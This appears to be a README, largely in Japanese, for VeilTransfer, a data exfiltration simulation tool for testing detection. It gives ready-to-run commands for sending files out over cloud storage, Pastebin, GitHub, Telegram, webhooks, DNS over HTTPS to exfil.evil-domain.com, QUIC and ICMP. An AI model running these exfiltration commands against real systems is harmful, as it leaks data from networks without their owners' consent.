
VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.
VeilTransfer は、検知能力をテスト・強化するために設計されたデータ窃取(データ外部送信)ユーティリティです。このツールは、高度な脅威アクターが使用する現実的なデータ窃取手法をシミュレートし、組織がセキュリティ態勢を評価・改善することを可能にします。MEGA、GitHub、SFTP、WebDAV など、複数の窃取方法を活用することで、VeilTransfer は防御のギャップを特定し、セキュリティソリューションが現代のデータ侵害に対抗できるようにします。
| ID | Techniques |
|---|---|
| T1029 | Scheduled Transfer |
| T1020 | Automated Exfiltration |
| T1132.001 | Data Encoding: Standard Encoding |
| T1560.002 | Archive Collected Data: Archive via Library |
| T1567.001 | Exfiltration Over Web Service: Exfiltration to Code Repository |
| T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage |
| T1567.003 | Exfiltration Over Web Service: Exfiltration to Text Storage |
| T1567.004 | Exfiltration Over Web Service: Exfiltration Over Webhook |
| T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol |
| T1048.002 | Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol |
VeilTransfer はフェイクデータの生成にも対応しています。以下が含まれます:
データをバンドル・圧縮する ZIP ファイルを簡単に作成でき、窃取やさまざまなシナリオのテストに使用できます。サイズに基づいて複数ファイルへの分割にも対応しています。
この例では、SFTP プロトコルを使用してファイルをリモートサーバーに安全に転送する方法を示します。ファイルはローカルマシンにあり、SSH 認証を使用して指定されたリモートディレクトリに転送されます。
veiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass
この例では、ローカルディレクトリのファイルが WebDAV サーバーにアップロードされます。サーバーは認証にユーザー名とパスワードを必要とします。サーバーパラメータには URI スキーム(https:// または http://)が含まれます。
veiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass
この例では、Mega Cloud ストレージにファイルを転送する方法を示します。ファイルは指定されたローカルディレクトリからアップロードされ、認証はユーザーの Mega Cloud 資格情報を使用して処理されます。
veiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username [email protected] -password megasecretpassword
この例では、ファイルが FTP サーバーにアップロードされます。ファイルはリモートサーバー上の特定のディレクトリに転送されます。サーバーは認証にユーザー名とパスワードを必要とします。
veiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword
この例では、ファイルの内容を Pastebin にアップロードする方法を示します。コンテンツは、ユーザーが提供する API キーを使用して Pastebin に投稿されます。
veiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key
この例では、ローカルマシンから特定の GitHub リポジトリにファイルをプッシュする方法を示します。ファイルは、ユーザーの GitHub API トークンを使用した認証でリポジトリに追加されます。
veiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token
この例では、特定の Telegram チャンネルにファイルを送信する方法を示します。ファイルは Telegram ボット API トークンを使用して送信され、メッセージは指定されたチャンネル ID に配信されます。
veiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789
この例では、ファイルの内容が指定された Webhook URL に送信されます。
veiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url
DNS over HTTPS(DoH)を利用した安全なデータ窃取メカニズムを確立するには、次の DNS レコードを設定する必要があります:
A レコード: test を IP アドレス <VeilTransfer_IP_Address> にポイントします。
test -> <VeilTransfer_IP_Address>
NS レコード: evil-domain.com によって管理されるサブドメイン(exfil)を定義します。
exfil -> test.evil-domain.com
ドメイン exfil.evil-domain.com が DNS Exfil ドメインとして機能します。
次に、以下のコマンドで VeilTransfer Server を DoH モードで起動します:
veiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil
注意: 暗号化キー(-key)は16文字または32文字である必要があります。
DoH 経由でファイルをアップロードするには、VeilTransfer Server が有効な暗号化キーで DoH モードで稼働していることを確認してください。次に、クライアントコマンドを使用して転送を開始します:
veiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com
VeilTransfer サーバーを QUIC モードで起動するには、次のコマンドを使用します:
veiltransfer_server quic -cert /path/server.crt -key /path/server.key
サーバーが起動したら、次のコマンドでファイルまたはディレクトリをアップロードできます:
veiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443
ICMP プロトコル経由のファイル転送を有効にするには、次のコマンドを実行して VeilTransfer Server を ICMP モードで起動します:
veiltransfer_server_linux icmp -folder /path/folder
サーバーが起動したら、次のコマンドを実行して ICMP 経由でファイルまたはディレクトリを転送します:
veiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server <ip address>
指定されたディレクトリから ZIP アーカイブを作成します。
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip
指定されたサイズに基づいて複数の部分に分割された ZIP アーカイブを作成します。
veiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000
この例では、偽のクレジットカードデータを100件生成する方法を示します。生成されるデータには、クレジットカード番号、有効期限、関連する詳細が含まれます。
veiltransfer_client generate-fake -ccn -count 100
この例では、インドネシアの身分証である偽の KTP データを50件生成する方法を示します。データには、氏名、住所、KTP 番号などの個人情報が含まれます。
veiltransfer_client generate-fake -ktp -count 50
生成されるデータには、米国標準に従ってフォーマットされた社会保障番号が含まれます。
veiltransfer_client generate-fake -ssn -count 200
この例では、英語で300件の偽医療記録を生成する方法を示します。
veiltransfer_client generate-fake -medical-record -count 300 -language en
VeilTransfer への貢献を歓迎します!新機能、窃取方法、または改善のアイデアがある場合は、プルリクエストを送信するか、GitHub で issue を開いてください。